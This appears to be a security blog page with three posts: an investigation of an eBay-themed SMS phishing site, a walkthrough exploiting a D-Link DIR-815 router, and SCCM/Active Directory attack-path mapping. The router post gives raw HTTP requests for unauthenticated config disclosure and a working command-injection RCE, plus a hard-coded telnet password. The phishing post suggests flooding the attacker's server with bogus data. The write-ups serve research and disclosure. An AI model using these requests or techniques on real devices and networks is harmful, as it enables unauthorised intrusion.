Social Engineering will always win!

From time to time, my friends will send me phishing attacks that they receive.  Typically, it starts the same, an email or instant message asking them to go to some site and validate their credentials.  If you are anything like myself, then you become curious to how sophisticated the attacker(s) is.

This attack started the same way, except instead of social media or email, it was a SMS asking a peer to validate their credentials to help “protect their account”.

Screenshot_20180202-091717.png

Anyone with common sense will instantly notice that this is a crap shot by this attacker, that being said, later you will see that people still fall for it.  Being asked to investigate, due to my friend thinking they submitted their information to it, I dug in.

First thing you notice when you check the domain registrar is that this domain name was just created (high probability it was created just for this attack).  You will also note that it traces back to .ru.

Raw WHOIS Record

Domain name: EBAISECURITI.COM
Domain idn name: EBAISECURITI.COM
Status: clientTransferProhibited http://www.icann.org/epp#clientTransferProhibited
Registry Domain ID:
Registrar WHOIS Server: whois.reg.com
Registrar URL: https://www.reg.com/
Registrar URL: https://www.reg.ru/
Registrar URL: https://www.reg.ua/
Updated Date: 2018-02-01
Creation Date: 2018-02-01T04:32:23Z  <--Red Flag
Registrar Registration Expiration Date: 2019-02-01
Registrar: Registrar of domain names REG.RU LLC
Registrar IANA ID: 1606
Registrar Abuse Contact Email: abuse@reg.ru
Registrar Abuse Contact Phone: +7.4955801111
Registry Registrant ID:
Registrant ID:
Registrant Name: Protection of Private Person
Registrant Street: PO box 87, REG.RU Protection Service
Registrant City: Moscow <-- Why would ebay be registered here
Registrant State/Province:
Registrant Postal Code: 123007
Registrant Country: RU
Registrant Phone: +7.4955801111
Registrant Phone Ext:
Registrant Fax: +7.4955801111
Registrant Fax Ext:
Registrant Email: EBAISECURITI.COM@regprivate.ru
Admin ID:
Admin Name: Protection of Private Person
Admin Street: PO box 87, REG.RU Protection Service
Admin City: Moscow
Admin State/Province:
Admin Postal Code: 123007
Admin Country: RU
Admin Phone: +7.4955801111
Admin Phone Ext:
Admin Fax: +7.4955801111
Admin Fax Ext:
Admin Email: EBAISECURITI.COM@regprivate.ru
Tech ID:
Tech Name: Protection of Private Person
Tech Street: PO box 87, REG.RU Protection Service
Tech City: Moscow
Tech State/Province:
Tech Postal Code: 123007
Tech Country: RU
Tech Phone: +7.4955801111
Tech Phone Ext:
Tech Fax: +7.4955801111
Tech Fax Ext:
Tech Email: EBAISECURITI.COM@regprivate.ru
Name Server: a.dnspod.com 
Name Server: b.dnspod.com 
DNSSEC: Unsigned
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/
>>> Last update of WHOIS database: 2018.02.02T17:27:08Z <<<

Even though everyone reading this already knows at this point that it is malicious, I still kept investigating.  After setting up my VPN connection and firing up my dummy box, I decided to check out the page myself.

Capture.JPG

Many red flags appear here:

  • form POST unencrypted (that by itself should always be flagged)
  • asked for credit card information
  • at the end, it redirected me to ebay site (wasn’t even smart enough to pass my creds along so that it looked liked I logged in)

 

So what is next?

This is the sucky part, watching a robbery happen and not being able to stop it or call someone to stop it.  You just get to watch them wave to you.  Only thing you can do is try to understand how this happened and what the scope is.

NMAP results will show that this machine has two services running, WWW and SSH.  Interesting enough, banner from SSH shows SSH-2.0-OpenSSH_6.0p1 Debian-4+deb7u6  and HTTP comes back with nginx, but based on the input, they are virtually hosting more than a single site (reverse dns lookup did not yield much).

This appears to be actor procured environment as it does not have any other client related services or applications exposed.

Interesting enough, a simple nikto/dirb will yield many files in the root

dirb http://www.ebaisecuriti.com -X .txt,.html

-----------------
DIRB v2.22 
By The Dark Raver
-----------------

URL_BASE: http://www.ebaisecuriti.com/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.txt,.html) | (.txt)(.html) [NUM = 2]

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://www.ebaisecuriti.com/ ----
+ http://www.ebaisecuriti.com/.hta.txt (CODE:403|SIZE:210) 
+ http://www.ebaisecuriti.com/.hta.html (CODE:403|SIZE:211) 
+ http://www.ebaisecuriti.com/.htaccess.txt (CODE:403|SIZE:215) 
+ http://www.ebaisecuriti.com/.htaccess.html (CODE:403|SIZE:216) 
+ http://www.ebaisecuriti.com/.htpasswd.txt (CODE:403|SIZE:215) 
+ http://www.ebaisecuriti.com/.htpasswd.html (CODE:403|SIZE:216) 
+ http://www.ebaisecuriti.com/cgi-bin/.html (CODE:403|SIZE:215) 
+ http://www.ebaisecuriti.com/db.txt (CODE:200|SIZE:21410) 
+ http://www.ebaisecuriti.com/index.html (CODE:200|SIZE:7443) 
+ http://www.ebaisecuriti.com/robots.txt (CODE:200|SIZE:65)

Interesting enough, this attacker decided that no one would find their dump.  Analyzing the attacker, they log on semi frequently to flush this file.  Checking this file, there appears to be a collective ~2000 lines, looking mostly legit.  Below is a sample only showing the non legit entries.

 95.213.237.5:test:test:name:name :kkk:8979897:987897:98/79:877:ihiuh
 95.213.237.5:Df:df:Dd:Xd:Xx:Xx:Xxx:22/12:Dd:Dd

We legally cannot stop them, so now what?

Yup, I guess this is where the hat you wear determines your next course of action.  A simple python script can be used to pull email addresses out of the db.txt file and email the impacted users.  Hopefully, they will immediately change their credentials.

Also uploading bogus data at a high frequency will cause the attackers disk to fill up quickly and render the next writes from happening, or so they say.

Finally, putting this information out there can entice other more aggressive good people to take the next steps.

Wrap up

There were many signs that could have been used to prevent this attack.  Web browsers should alert on newly registered domains.  Browsers should also alert anytime a form POST is happening through an unencrypted protocol (HTTP).  Finally, you have the “User” piece, which should have seen that ebay was incorrectly spelled, legit companies will never ask you to verify yourself by specifying your credentials and credit card information.  So the onus is on the user, but the browsers need to do a better job vetting out the low sophisticated attacks.

Advertisements

Exploiting cheap labor!

UPDATE: After some feedback, it appears this vulnerability works on many D-Link models.  Also, the latest firmware should patch these vulnerabilities. Updated repo to reflect the feedback.

Ol’ wise people will tend to say, “You get what you pay for”, and that tends to be the case in programming.  I tend to find that shops that pay for cheap labor, get cheap product!  That being said, I got bored over Christmas break and decided to throw away a lot of my old hardware.  Before I did, however, I decided to fuzz a few of the devices.  This is my 24 hr experience [more like 4 hour experience] with my D-Link 815N.

The goal of this is to not show you a super awesome 0 day that you can use to pwn the world, but instead to show a single method on how to find these 0 days.

“Disclaimer, I did not find a place to submit a bug bounty on D-Link’s site.  However, I also only spent minutes looking.”

1_blank_login

Step 1: Scanning up my device

The hardest step of this was finding the power cord to my router!  After getting it powered up and connected to my dev range, the first thing I had to do was figure out the password.  Good thing Dlink made it easy (username: admin, no password).

Next, I enabled “Remote Management” to emulate what I would see across the interwebs.  Next, I just did a simple netcat to see what banner would come back to me on the remote management interface:

nc 10.0.0.1 8080
HEAD / HTTP/1.1

HTTP/1.1 400 Bad Request
Server: Linux, HTTP/1.1, DIR-815 Ver 1.03
Date: Sat, 27 Jan 2001 02:48:12 GMT

Shodan.io was nice enough to show me another ~700 devices that share the same string.

Step 2: Understanding how my device works

At this point, I want to understand how the authentication works and how pages load.  In order to do this, I load developer tools on Chrome (Firefox supports this too) and start monitoring the “network” tab.  On a successful login, I notice a POST to /session.cgi but the only thing that returns is some XML (nothing that holds a session).

nc 10.0.0.1 8080
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: localhost
Cookie: uid=DumMyTokEN
Content-Length: 68

ACTION=login_plaintext&PASSWD=&CAPTCHA=&USER=admin&REPORT_METHOD=xml

HTTP/1.1 200 OK
Server: Linux, HTTP/1.1, DIR-815 Ver 1.03
Date: Sat, 27 Jan 2001 04:59:08 GMT
Transfer-Encoding: chunked
Content-Type: text/xml

a1
<?xml version=”1.0″ encoding=”utf-8″?>
<report>
<RESULT>SUCCESS</RESULT>
<REASON></REASON>
<AUTHORIZED_GROUP>0</AUTHORIZED_GROUP>
<PELOTA></PELOTA>
</report>
0

At this point I started getting excited, as it appears that the developers are only relying on a cookie that I can create.  If they are this lazy, maybe there are pages that I can query unauthenticated?

After browsing for a few minutes, I notice a PHP page that keeps getting referenced (/getcfg.php).  I start capturing the POST requests to them via Chrome and developer tools and then I replay them with netcat (no Cookie).

My favorite happens to be DEVICE.ACCOUNT (which can be used later for a scan bot to check for default creds.

POST /getcfg.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: localhost
Content-Length: 23

SERVICES=DEVICE.ACCOUNT

HTTP/1.1 200 OK
Server: Linux, HTTP/1.1, DIR-815 Ver 1.03
Date: Sat, 27 Jan 2001 05:07:42 GMT
Transfer-Encoding: chunked
Content-Type: text/xml

208
<?xml version=”1.0″ encoding=”utf-8″?>
<postxml>
<module>
<service>DEVICE.ACCOUNT</service>
<device>
<account>
<seqno></seqno>
<max>1</max>
<count>1</count>
<entry>
<name>admin</name>
<password></password>
<group>0</group>
<description></description>
</entry>
</account>
<session>
<captcha>0</captcha>
<dummy>dummy</dummy>
<timeout>600</timeout>
<maxsession>128</maxsession>
<maxauthorized>16</maxauthorized>
</session>
</device>
</module>
</postxml>
0

<password> will update to ==OoXxGgYy== if there is a password set.  After spending 10 minutes here, I was able to perform unauthenticated scans to determine all interface information, devices connected to the router and the traffic they were using, DNS information, logging information, etc.  Full list can be found on my github.

Step 3: Can I get a shell?

At this point, I have invested a few hours and managed to watch an episode of “Superstore”, but after showing this to my friend, he was highly underwhelmed. I believe his exact quote was, “Get a shell if it is so easy”!

That takes me to the next step, looking for developers who do not handle input validation.  As I am going through the pages again looking for something executable, I stumble over a firewall configure page that utilizes /service.cgi.  After looking at the POST, I decide to append an ampersand and ls and rerun the command (had to pass the cookie from the auth).  The results:

root@kali:~# nc 10.0.0.1 8080
POST /service.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: localhost
Content-Length: 21
Cookie: uid=DuMMyTokEN

EVENT=CHECKFW%26ls%26

HTTP/1.1 200 OK
Server: Linux, HTTP/1.1, DIR-815 Ver 1.03
Date: Sat, 27 Jan 2001 09:25:03 GMT
Transfer-Encoding: chunked
Content-Type: text/xml

64
<?xml version=”1.0″ encoding=”utf-8″?>
<report>
<result>OK</result>
<message></message>
</report>

4
cbwpsacts.php
wiz_wps.php
wiz_wlan.php
wiz_wan_fresetv6.php
wiz_wan.php
wifi_stat.php
… <You get the point>
0

#WINNING

Step 4: Putting it all together

We found RCE!!! … But we need to be authenticated, but don’t worry, there is a way to get unauthenticated access, but I will leave that for you to investigate.

Finally, I wanted to put it in a quick script that would give me the ability to interact with the device remotely without having to type a lot, so I wrote DLINK Shell RCE.  You will notice that on a lot of these lightweight IoT devices, they will be running busybox.  This is good in the sense that you will have a few commands that you are familiar with.

So, where can you go from here?  Poke, prod, enable telnet and get a stable shell:

/bin/cat /etc/init0.d/S80telnetd.sh
#!/bin/sh
echo [$0]: $1 … > /dev/console
if [ “$1” = “start” ];
then if [ -f “/usr/sbin/login” ];
then image_sign=`cat /etc/config/image_sign`
telnetd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &
else
telnetd &
fielse
killall telnetd
fi

Note: They were nice enough to hard code the password for telnet in /etc/config/image_sign.  Knowing how these embedded devices work, I am pretty sure it is the same password for all D-Link 815N routers.

Step 5: Temporary Persistence

I know this doesn’t make too much sense, but I do not know a better way to state this concept.  These devices do not reboot frequently.  Also, when they boot up, they untar their firmware prior to running.  This means that anything you put up there will be blown away when it reboots, but because it doesn’t reboot often, we don’t care!

I will not be posting code on how to do this, but if you are comfortable with Linux and echo than you should be able to find a way to use an external program like python to read in a binary file (netcat for instance) and output it in a format that will allow you to “echo -e ” the data to someplace like “/var/tmp”.  Make sure you know your arch. https://github.com/darkerego/mips-binaries.

January 8, 2018 Update: Google has revealed D-Link 645 Routers expose cleartext password when you browse to /getcfg.php.  https://vuldb.com/?id.7843

Daisy chain that with the /service.cgi and “All the bases are belong to you”!

Using SCCM to violate best practices

This is my first public blog, so please be gentle. 😛  One of the things that IT professionals preach about is centralized administration.  They will tell you how easy it is to track, manage, and push out updates to endpoints easily and safely to a network.  What they don’t seem to think about is the benefit this is to an attacker.  If you are not familiar with SCCM, you should read Matt Nelson’s blog on SCCM as well as Dave Kennedy’s talk on SCCM.  One of my favorite parts about SCCM per the best practices is linking authentication to Windows authentication… aka linking up to Active Directory.  Keep in mind that this is based on the fact that you have already gained Domain Admin (DA) to a network.

Once an attacker gains DA, he moves from regular post exploitation mode to a more targeted attack approach.  Legacy methods would be to map shares to boxes that we think the admin’s locally reside on, or trying to find network shares where sensitive data resides.  This can become very noisy and increase your opsec risk profile.  I am a big fan of minimizing my artifacts I leave behind to include not interactively logging in or even touching a box unless there is a reason.  Utilizing centralized administration software or security products works great in minimizing my footprint.  It also leads me to the “treasure” faster since I can get the answers to the questions I care about such as:

  • Where do the administrators spend most of their time?
  • Where does everyone dump their “datas”?
  • Which computers have the greatest chance of containing the “treasure” I am looking for?
  • Are there any domains I don’t know about that I can expand into?

Using SQL and Neo4, I was able to not only find the answer to the above, but also develop an interactive program that would show me the fastest attack path from any node.  This turns out to be great to show visualize attack patterns.

To view my queries I use, check out my Github .  The rest of this blog post will be how I visualize this.

I utilize Get-PrivyUsers.ps1 and Get-CriticalComputers.ps1 to determine my valuable assets and users in the domain.  Next I will run RunningApplications.sql (Invoke-Sqlcmd in PosH works great) to get all the running applications in a network.  Next, I will get a list of all users in the network (this is just to get meta for everyone):

Get-ADUser -filter * |Select-Object -Property SamAccountName, name|Export-Csv -NoTypeInformation users.csv

I will then query for who is the Primary user as well as the Top user of each computer.  In most engagements, I find that this differs from what people think.


 Finally, I setup Neo4J and wrote a simple import script in Python that takes this data and ingests it: Neo4j_Integration.py

Once I have imported this data into Neo4j, I can fire it up and start looking at the data.  The first thing I did was look at where I was in the network and then expanded my node to see who uses it and where else they have logged in.
MATCH (u:User) WHERE n.samAccountName = 'User1' RETURN u

image1

Next thing I was able to do is the same thing but with the Privilege Users on the domain.  This turned up some really interesting information since we were able to find users that had access to Domain Controllers who were not part of any Admins group or followed the companies naming convention.

MATCH (p:PrivyUser) RETURN p

image2

Now we can expand these out to determine where users spend most of there time.  Why is this important?  I find that most people store things locally on their desktops or in folders on their “personal” machines.  So by knowing where a user spends most of his time we can make hypothesis that increase our accuracy of finding IP or other sensitive information.

Other things I have noted from doing this research.

  • Most servers don’t have a primary user
  • Most servers reside on a segmented network which we can see visually without having to scan up network ranges to find
  •  This also helped when trying to logically map out a network

Now when we play the 6 degrees of Kevin Bacon to look for our fastest route to get to a critical box, we get something like this:

image3

From here we can see that if an attacker wanted to, after he landed on User1-comp, he could use mimikatz and dump “Service-Acct” password and log into User11-comp.  Then we can get “User11-adm” password and login to the DC.

Next Steps:

Adding in running applications, I have already done this and the code is on my Github, but I need to redesign the front end to expand only certain properties of a node.  Once this is done we can add all other meta about an object.  Also, I want to replace computer nodes with squares so it is easier to differentiate.

Final thoughts:

Active Directory is one of the most targeted applications out there and as an admin, we really need to consider what objects we send to centralized administration.  Maybe the safest bet is to isolate the highly sensitive computers from the domain. Centralized administration is awesome but we have to make sure we know what the risks are as well as what the data source is sending us.